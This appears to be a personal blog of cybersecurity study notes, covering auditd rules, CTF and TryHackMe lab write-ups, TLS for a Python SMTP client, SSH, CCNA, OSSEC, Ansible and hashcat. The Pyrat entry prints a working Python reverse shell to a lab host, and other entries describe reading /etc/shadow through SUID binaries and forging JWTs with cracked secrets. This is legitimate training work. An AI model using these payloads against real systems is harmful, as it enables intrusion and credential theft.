MENU

Auditd

***more to come***

I'm working on implementing useful logging rules to observe possible attacker behavior. One frustration I am trying to solve is logging when commands are run by a non-root user. Sudo commands get logged to journal and pam. If a normal user runs a Python script, I cannot see this.

I have installed auditd to see if this is an effective way to get logs to ultimately ingest in Wazuh. I confirmed that log rotation was set in order to not consume more space than necessary on the PC.

After some reading, the syntax for a rule to achieve the desired visibility looks something like this:

                    
sudo auditctl -a always,exit -F arch=x86_64 -F path=/usr/bin/python3 -S execve -k "useful_python_name"
                    
                

using always,exit allows capture of event information more reliably than the alternatives. The execve kernel call is important, as it signifies that a file is being executed (necessary for a Python script to, well, execute). Specifying the arch helps reduce possible errors and logs for irrelevant kernel calls.

Figuring out where to put this was a little difficult. This was diagnosed when

                
auditctl -s 
                
                

and

                 
auditctl -l
                
                

indicated errors/lack of new rules. I had tried modifying etc/audit/audit.rules to see if the rule would stick. After restarting auditd, this goes away. So I tried editing /etc/audit/rules.d/audit.rules at the end of the file. That worked. For better organization, I created the file /etc/audit/rules.d/python.rules, which would be read and compiled into the etc/audit/audit.rules as described in the documentation.

I ran into another issue where, because I did not type the command in correctly, I was unable to observe new events running ausearch -ts recent. In particular, re-reading the docs indicated arch should be b64. -F should be exe, not path. I didn't need the beginning of the command. The new rule is now

                    
-a always,exit -F arch=b64 -F exe=/usr/bin/python3 -S execve -k "useful_python_name"
                    
                

But, after getting syntax right, still not observing the rule firing. Ugh.

I caved in and resorted to using AI prompting to consider other aspects (how python gets called)

... I got tripped up by symbolic links (sigh)

So python3 is a symlink to the python3.12. This means the file that is actually executing is python3.12 (python3 just points to the inode for python3.12, it itself is not executed). A quick Google search suggests that the built-in rule 80700 is triggered on auditd logs. I will be referencing this rules when writing my own. A future question I may look in to is how to detect symlink usage with auditd.

Path Escalation

I'm working through SANS Holiday Hack challenge. There's a lot of good beginner examples in a variety of shell settings. There's also several labs that illustrate useful functions (e.g. using grep and sed to provide defanged URL information from phishing emails).

What I have found recently is that I run into situations where my intuition is correct, but I struggle around noticing sytnax errors. In this case, I quickly identified a potential for path escalation, but I was unable to get the exploit to work for an hour or two.

When I tried using a symbolic link on another vulnerable function instead of a bash file, it worked. Unsatisfied, I rewrote the bash file again to make sure I wasn't missing something. Sure enough, it worked, too :/

Snort Rules

I was really impressed with the way this article was written. It illustrates what Snort can achieve with practical examples and context against the OWASP top 10.

1

Linux Tips

Several labs recently needed a base64 string in email content converted into a file, and occasionally a hash of this file. To avoid having to delete things manually in the text editor, I utilized a handy one-liner:

head -n -2 email.txt | tail +6 | base64 -d > result.file | sha256sum

Looking in the manual for head and tail reveals the desired functionality of trimming off the undesired beginning and ending lines. If we could define a consistent pattern among all similar files (and use awk), we could avoid having to manually figure out how many lines to trim.

Another useful / interesting idea that came to light after reading 'Linux: The Comprehensive Guide' by Michael Kofler - files can be efficiently grepped by using a combination of find and xargs with flags that fix errors in string formatting.

find <directory> -type f -name filename -print0 2>/dev/null | xargs --null grep 'search_string'

The print0 options terminates lines with a null character instead of a newline. The -null parameter gets xargs to interpret each null terminated string as an argument. Without doing this, xargs will split strings with spaces (not desirable). Note that ls does not appear to have a delimeter option like find does to avoid this sort of issue.

JWT

Worked on a lab over the past two days that, among other vulnerabilities (SSRF, XSS), included default JWT secrets.

There are several attack vectors that exist with poor JWT implementations. I found the explanation linked below to be better than anything I could say myself.

Success came when I took a valid JWT after logging in, used hashcat to brute force this token for a secret key in a wordlist of common jwt key defaults, and used this key in BurpSuite to sign with a payload of my choice. This provided access to the admin panel of the website.

I wish I could say I did this first. Unfortunately, I tried sending requets without the JWT, manipulating the algorithm type, signing with my own key... it took a day to regroup and find the right exploit.

1

Linux Privilege Escalation

I'm happy to have finished up Linux privilege escalation. The capstone lab was satisfying to complete.

In order to get the flags, it was necessary to use programs with SUID bit set. I figured this out after

  • Looking for cronjobs
  • Testing sudo usage
  • Searching for file capabilities that could be exploited
  • Scanning for file shares that could be exploited
  • In particular, base64 was used to read one of the flags directly, and also read etc/passwd and etc/shadow. After moving the info over via scp, this information could be cracked offline with John to provide credentials to access the second flag.

    SilverPlate - TryHackMe Box

    So far, this lab has been my favorite - the application being used has tons of vulnerabilities, and it requires a lot of looking around to get what is needed.

    A nmap scan reveals http services on two different ports. The main website mentions the use of Silverpeas - some sort of admin/forum panel from the looks of things. The documentation advises on what this endpoint looks like by default.

    Some quick Googling reveals the application has several established vulnerabilities and default login credentials.

    As you might imagine, getting into the user (and admin!) panel is a matter of following the documented login issue.

    While walking the application, I made not of times where the URL parameters looked suspicious, entry points for XSS, and admin ability to create LDAP domains.

    This LDAP functionality intrigued me, and unfortunately distracted me from the more obvious credentials availabe via broken access control. I'm not very experienced with LDAP, and wanted to see if I could create a domain and access it from my machine. This proved to be unsuccessful, as no LDAP port appeared open after subsequent scanning.

    Pyrat - TryHackMe Box

    It took an hour to get the first step of this exploit. I had trouble building a functional socket in python, so I tried netcat to reach the HTTP server. It worked!

    A few interactions made it clear that the server was parsing input as Python. However, I wasn't getting any human readable output. I opted to send a reverse shell connecting to a netcat listener on my end. Fortunately, it worked (albeit with many typos and groaning along the way).

                
    import os;
    import subprocess;
    import socket;
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM);
    s.connect(("10.10.24.249", 4444));
    os.dup2(s.fileno(),0);
    os.dup2(s.fileno(),1);
    os.dup2(s.fileno(),2);
    p=subprocess.call(["/bin/bash", "-i"]);
                
                

    I got stuck from here as to how to gain root access. I cannot read or move the etc/shadow, so cracking passwords is not an option for me. Getcap has not yielded any useful information. I cannot write or modify files. I cannot use any cron services or existing processes. I was unable to find any older app versions after fuzzing for various phrases/extension (.py, .conf, app, pyrat). I considered changing the sshd_config file, but did not see how that would prove to be useful.

    So, I did the responsible thing and looked to see what other experienced people would do. I had not considered looking for Git commits, which turned out to be the source of functional credentials!

    Securing SMTP Client Python

    *Looking into Oauth2 implementation*

    Months ago, I wrote a very basic SMTP application for sending eBird alert data to my personal email. Although functional, it was not a particularly secure application.

    I made some revisions to not only incorporate TLS, but specify the best version and encryption algorithms. Practically speaking, the key difference is using SMTP_SSL with a custom context argument. Below are the parts relevant to discussion. The full code will (eventually) be available on GitHub.

                    
    #sends data by email to designated recipient from env set gmail  
    
    import smtplib
    import ssl
    def sendData(RECIPIENT, body):
        ...
        context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
        context.minimum_version = ssl.TLSVersion.TLSv1_3
        context.maximum_version = ssl.TLSVersion.TLSv1_3
        context.load_verify_locations("C:\Python311\Lib\site-packages\certifi\cacert.pem")
    
        try:
            with smtplib.SMTP_SSL(SMTP_SERVER, TLS_PORT, context=context) as mailserver:
                print(mailserver.sock._sslobj.cipher()) # see the cipher being used!!!
                ...
    
                    
                

    The context attribute has a number of different attributes and functions available in the documentation. Here, the minimum and maximum version to TLSv1_3 to ensure usage. When using SSLContext directly, the certificate path location must be specified, as it is not called automatically as it would be with ssl.create_default_context().

    With some digging, it is possible to verify that the settings are being utilized correctly in the underlying socket. The socket is accessible under the sock attribute, and the private _sslobj print(mailserver.sock._sslobj.cipher())

    1 2 3 4 5

    SSH Server/Client Configuration - Windows OpenSSH Part 2

    *More to come soon*

    I wanted to access my devices remotely by SSH without paying for anything. Ngrok was an easy choice for my use case. The issue, however, is whenever an SSH session is started, the URL used to gain access changes.

    I needed a way to be updated on when the address changes. The first thought I had was to run a shell script when the computer started up. This script would start Ngrok and email me the link over SMTP/TLS. If the service was interrupted, the same script should restart the service and run again.

    This became a batch file ran as a Windows service. The file runs a powershell script that starts ngrok, captures the url, and sends it to a Python SMTP server.

    SSH Server/Client Configuration - Windows OpenSSH Part 1

    Two days of digging through forums and instructions to configure passwordless SSH.

    I am using two Windows laptops here, a CLIENT and a SERVER.

    When finished setting this up, you can add on ngrok (free) to maintain the connection remotely. I tested this by setting up a remote SSH connection from my iPhone (using a-shell) and my laptop running the ngrok instance.

    Will be adding details on using ssh-agent, managing private keys and ACLs at a later date.

    Here are some resources that were useful during this configuration

    1         2         3         4         5         6

    for the SERVER:

  • Install/Confirm Presence of OpenSSH Server
  • You can navigate to the System menu and click "Optional Features" > "View Features" > type in OpenSSH to download
  • Modify the Configuration Files
  • Enable sshd as an automatic service

  • For the CLIENT:

  • Install/Confirm Presence of OpenSSH Client
  • Generate a key pair unique to the user/device
  • Set permissions on the key pair to SYSTEM Full and Owner: Full. There should be no other permissions or you will get an error
  • Copy the CLIENT public key to the SERVER
  • CCNA Takeaways

    Some notes on important things to focus on for CCNA prep:

  • Practice finishing labs in <10 minutes and questions in < 1 minute
  • Interpreting routing tables, and other visual aids for that matter
  • Setting up named ACLs (and where they belong)
  • Setting up OSPF, ensuring one router is designated
  • Setting up NTP
  • Ensuring connectivity between workstations in various network setups
  • Listing the two-three purposes of each concept
  • Knowing which protocol alternatives are vendor neutral
  • You are expected to finish four labs before finishing 73 questions. You cannot go back and change your answers or configurations.

    I woudl recommend using Jeremy's IT lab as a starting point for the actual lab skills. Fill this in with specific problems by researching on Cisco's forums.

    Working with OSSEC - WSL / Windows

    Mentioning some pain points when I configured this.

    On Windows, you have to add the file 'sender' to the ossec-agent/rids folder to get keys added from the server properly. ... but you may have trouble doing that until you change the folder permissions. I opted to change permissions of the root folder

                        
    Powershell:> icacls "PATH\TO\ossec-agent\folder" /inheritance:r /grant USERNAME\Administrator:F /t
                        
                        

    Take note whether you are using WSL in NAT mode or mirrored mode with this command:

                        
    WSL:> wslinfo --networking-mode
                        
                    

    I'm using NAT. The server IP address (you'll use this in the Windows Agent configuration) - 172.26.160.240

                    
    WSL:> ip addr | grep eth0 | grep inet | awk '{print $2}'
                    
                    
    Powershell:> wsl hostname -I
                    
                    

    The agent IP address - 172.26.160.1 (used when advertising the agent to the server and subsequently getting the key) - use the following command on WSL

                        
    WSL: ip route show | grep -i default | awk '{print $3}' 
                        
                    

    This address is how the Windows laptop (hosting WSL) appears to WSL

    Ansible for Cisco IOS Devices

    After procrastinating for weeks, I finally started to set up Ansible in order to administer my Cisco switches and routers. They are all ancient, but functional enough for my needs.

    My main laptop still has Windows, but I downloaded WSL to allow Ansible to function properly.

    The first hour I spent scanning the Ansible documentation. The gist is you can write files that act as instruction manuals for what devices you want configured, and the desired configurations. This requires a functional SSH connection to each device (which, to my knowledge, has to be set up manually).

    The tricky part is understanding what terms you need in a playbook / inventory file and where they belong. I found that googling and looking at visual examples was the best way for me to understand this.

    Cisco devices in particular are tricky because you interact with them via a CLI, not python. It is necessary to tell Ansible this so you don't get errors related to it trying to run Python on the managed device.

    Also, remember to install ansible-pylibssh (or paramiko).

      pip install ansible-pylibssh

    Following is the functional inventory file I used:

                    
    all:
        children:
            routers: #this is the name you give to groups of devices
            hosts:
                router_one: #this is the name you use to identify each device
                    ansible_host: ip.address.of.device
                    ansible_user: username
                    ansible_port: 22
    
            vars:
                ansible_connection: ansible.netcommon.network_cli
                ansible_network_os: cisco.ios.ios
                ansible_become: true
                ansible_become_method: enable
                ansible_become_password: password
                # how to get password here securely
                    
                    

    Password Cracking

    After purchasing a bundle of used Cisco devices for CCNA training, I learned the majority of devices were password locked (ugh). The seller insisted that no passwords were set, so I was stuck.

    As you probably guessed, I learned how to get the devices into ROMMON mode to overwrite the current start config with the blank slate available on a different part of flash. But before I went about wiping all the devices, I looked into how feasible it would be to brute force the passwords.

    The only passwords that needed to be attacked were the ones that are MD5 hashed. The rest were clear text or the cipher option.

    Playing around with Hashcat, I first attempted a public wordlist without any hits. I started reading about how templates can be used to construct custom word lists. This is convenient when the password behavior is predictable.

    For instance, many people enter passwords in the form . A set of rules can be written (see maskprocessor) and used with Hashcat to generate passwords that follow this form. This avoids guessing the garbled mess that password managers would use by default.

    I will eventually show the exact difference in stats, but it is orders of magnitude easier to crack formulaic passwords.

    see maskprocessor, hybrid attack

    TryHackMe Review

    Worked through the entry level pentesting path. This provides a good exposure to resources, techniques, and vulnerable environments.

    CSS

    Learned a useful CSS trick today. Using "isolation: isolate" effectively groups an element and its children together for the purposes of stacking.

    This was an issue for this website, because the menubar was hiding underneath other elements. Trying to set z-indexes to fix the issue was partially successful. Unfortunately, text and images in other divs still came out on top.

    I'd recommend this resource for further CSS reading. https://www.joshwcomeau.com/css/stacking-contexts/